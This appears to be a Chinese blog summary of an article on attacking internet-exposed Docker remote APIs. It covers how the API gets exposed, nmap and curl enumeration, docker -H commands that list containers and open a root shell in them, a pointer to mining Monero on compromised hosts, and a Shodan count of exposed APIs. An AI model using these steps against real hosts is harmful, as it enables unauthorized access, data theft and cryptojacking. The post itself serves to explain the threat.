• 【漏洞挖掘】攻击对外开放的Docker API接口


    https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124

    1)场景

    攻击开放在互联网的Docker API

    2)问题难点

    Docker API外放有什么危害?

    3)解决问题的方法

    • 理解客户API公开互联网的原理
    • 信息收集和枚举
    • 利用Docker CLI测试暴露的API
    • 批量挖掘

    4)方法细节

    理解客户API公开互联网的原理

    如何为dockerd启用远程API

    1、/etc/systemd/system/docker.service.d/startup_options.conf使用以下内容创建文件:

    # /etc/systemd/system/docker.service.d/override.conf
    [Service]
    ExecStart=
    ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2376
    
    注意: -H标志将dockerd绑定到侦听套接字,即Unix套接字或TCP端口。您可以指定多个-H标志以绑定到多个套接字/端口。默认的-H fd://使用systemd的套接字激活功能来引用/lib/systemd/system/docker.socket。
    

    2、重新加载配置文件

    $ sudo systemctl daemon-reload
    

    3、使用新的启动选项重新启动docker守护程序:

    $ sudo systemctl restart docker.service
    

    Dockerd进程侦听端口2376

    vagrant@ubuntu-xenial:~$ sudo netstat -tulpn | grep 2376
    tcp6       0      0 :::2376                 :::*                    LISTEN      4504/dockerd    
    vagrant@ubuntu-xenial:~$
    

    信息收集和枚举

    使用nmap端口扫描

    sudo nmap -sS -T5 192.168.1.7 -p-
    Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:31 CEST
    Nmap scan report for 192.168.1.7
    Host is up (0.00076s latency).
    Not shown: 65498 closed ports, 35 filtered ports
    PORT     STATE SERVICE
    22/tcp   open  ssh
    2376/tcp open  docker
    MAC Address: 08:00:27:CA:62:F8 (Oracle VirtualBox virtual NIC)
    

    如果使用nmap的服务检测可以直接检测出Docker的确切版本。

    nmap -sTV -p 2376 192.168.1.7
    Starting Nmap 7.01 ( https://nmap.org ) at 2018-08-10 16:35 CEST
    Nmap scan report for 192.168.1.7
    Host is up (0.00038s latency).
    PORT     STATE SERVICE    VERSION
    2376/tcp open  18.06.0-ce Docker
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 77.78 seconds
    

    向位于以下位置的端点发出GET请求,返回Docker的版本数据:

    curl -s http://192.168.1.7:2376/version | python -m json.tool
    
    从python2.6开始,多了个json.tool的东西。把json数据格式化显示出来。
    >>echo '{"name": "lucy", "age": "18"}' | python -mjson.tool
    {
    "age": "18",
    "name": "lucy"
    }
    

    • 利用Docker CLI测试暴露的API
    docker -H <host>:<port> info
    

    收集信息

    运行的容器

    docker -H 192.168.1.7:2376 ps
    

    已经停止的容器

    docker -H 192.168.1.7:2376 ps -a
    

    查看镜像

    docker -H 192.168.1.7:2376 images
    

    访问容器

    在容器内生成一个shell是通过exec命令完成的,在这种情况下我们可能想要生成一个bash shell:

    docker -H 192.168.1.7:2376 exec -it <container name> /bin/bash
    

    容器内的默认用户是root,可以尝试进一步搜集容器里的信息,代码、配置文件、数据库。

    利用容器挖矿

    https://ww.getmonero.org/resources/user-guides/mining_with_xmrig_and_docker.html

    批量挖掘

    Shodan上暴露出来的API是760个

    5)总结

    在这篇文章中,研究了Docker相关的威胁。让Docker API暴露于互联网可能会导致数据丢失,加密,僵尸网络等问题

  • 相关阅读:
    Exception while invoking TaskListener: Exception while invoking TaskListener: null
    oracle mysql gbk varchar varchar2
    WIN10 Samba(SMB) v1 trouble shooting
    信号之信号集
    信号之不可靠的信号及中断的系统调用
    信号之alarm和pause函数
    信号之kill和raise函数
    信号之可靠信号术语和语义
    信号之可重入函数
    信号之signal函数
  • 原文地址:https://www.cnblogs.com/17bdw/p/10302045.html
Copyright © 2020-2023  润新知